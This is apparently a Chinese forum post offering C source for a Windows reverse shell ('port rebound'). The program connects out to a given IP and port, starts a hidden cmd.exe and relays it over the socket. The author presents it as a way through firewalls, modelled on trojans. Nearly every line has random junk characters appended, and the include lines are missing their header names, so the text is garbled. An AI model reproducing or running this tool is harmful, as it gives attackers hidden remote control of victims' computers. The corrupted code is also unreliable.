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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 D~7%};D[  
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/* ============================== P$ F#,Cn  
Rebound port in Windows NT =^"~$[z(  
By wind,2006/7 k~ZBJ+ 94  
===============================*/ dvxf lLd @  
#include p0?o<AA%O  
#include >Ziy1Dp  
6J]~A0vsi}  
#pragma comment(lib,"wsock32.lib") V9gVn?O0  
i"KL;t[1  
void OutputShell(); AwA1&mh  
SOCKET sClient; )m)h/_  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vN' VDvVM  
O} (E(v  
void main(int argc,char **argv) |#!eMJ&0  
{ kS[Dy$AB/2  
WSADATA stWsaData; \(wn@/yP'  
int nRet; y K=S!7p\  
SOCKADDR_IN stSaiClient,stSaiServer; |\rSa^:5  
c;nx59w ]q  
if(argc != 3) E Gr|BLl  
{ 9k*^\@\\x  
printf("Useage:\n\rRebound DestIP DestPort\n"); o<~-k,{5P  
return; m*OLoZVy  
} "@aq@mY@  
,WzG.3^m  
WSAStartup(MAKEWORD(2,2),&stWsaData); `s#sE.=o  
qW+=g]x\  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HarYV :  
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stSaiClient.sin_family = AF_INET; (xjqB{U  
stSaiClient.sin_port = htons(0); 6MrZ6dz^  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4;",@}  
/ O|Td'Z  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Bd/} %4V\@  
{ N,h1$)\B#  
printf("Bind Socket Failed!\n"); ?hP<@L6K  
return; \IO$ +Guh  
} p3{x<AO/  
]L[JS^#7  
stSaiServer.sin_family = AF_INET; .Gjr`6R  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); dw'<"+zO  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); M ,Zm|3L  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) N:"M&E UM  
{ 7AS.)Q#=x  
printf("Connect Error!"); ab8oMi`z  
return; m*Q[lr=  
} Q@ykQ  
OutputShell(); hg$qb eUl  
} ecM4]U  
+R3\cRM  
void OutputShell() 3(cU)  
{ A%.J%[MVz  
char szBuff[1024]; K'a#Mg  
SECURITY_ATTRIBUTES stSecurityAttributes; 'Wo?%n  
OSVERSIONINFO stOsversionInfo; *1 n;p)K  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; VyB\]EBu  
STARTUPINFO stStartupInfo; |) x'  
char *szShell; 4Z<]4:o  
PROCESS_INFORMATION stProcessInformation; Kx(76_XD  
unsigned long lBytesRead; C.b,]7i  
tjBh$)  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,eZ;8W{G  
m~Kch~~]  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ec7{BhH)  
stSecurityAttributes.lpSecurityDescriptor = 0; !V$6+?2   
stSecurityAttributes.bInheritHandle = TRUE; 7F>gj  
H9oXZSm  
2GHXn:V  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i*mZi4URN  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);  '7S!6kd?  
34/]m/2NZK  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ] P:NnKgK  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [=]+lei  
stStartupInfo.wShowWindow = SW_HIDE; Td["l!-fe  
stStartupInfo.hStdInput = hReadPipe; +1E?He:iQ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; f}Ne8]U/Hc  
R=#q"9qz  
GetVersionEx(&stOsversionInfo); ~u O:tL  
Ba"^K d`  
switch(stOsversionInfo.dwPlatformId) &KOG[tv  
{ y^E F<<\  
case 1: 1]D/3!  
szShell = "command.com"; j]@ x Q,y  
break; INN/VDsJ  
default: SdjUhR+o  
szShell = "cmd.exe"; CS^ oiV%{s  
break; 1B9Fb.i  
} }mtC6G41Q  
Q2_WH)J 3  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); e]dPF[?7  
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send(sClient,szMsg,77,0); 60U{ e}Mkb  
while(1) $ uz1  
{ +l[Z2mW  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); i5L+8kx4  
if(lBytesRead) _G-b L;  
{ kz$6}&uk  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Ti9:'I  
send(sClient,szBuff,lBytesRead,0); ZTgAZ5_cz  
} Allt]P>  
else MHpL$g=5_  
{ EyKkjEXx_  
lBytesRead=recv(sClient,szBuff,1024,0); *<|~=*Ddf  
if(lBytesRead<=0) break; onWYT}c{  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1{\,5U&  
} xy-$v   
} #G[ *2h~99  
s&_IWala  
return; x 1%J1?Fp  
}
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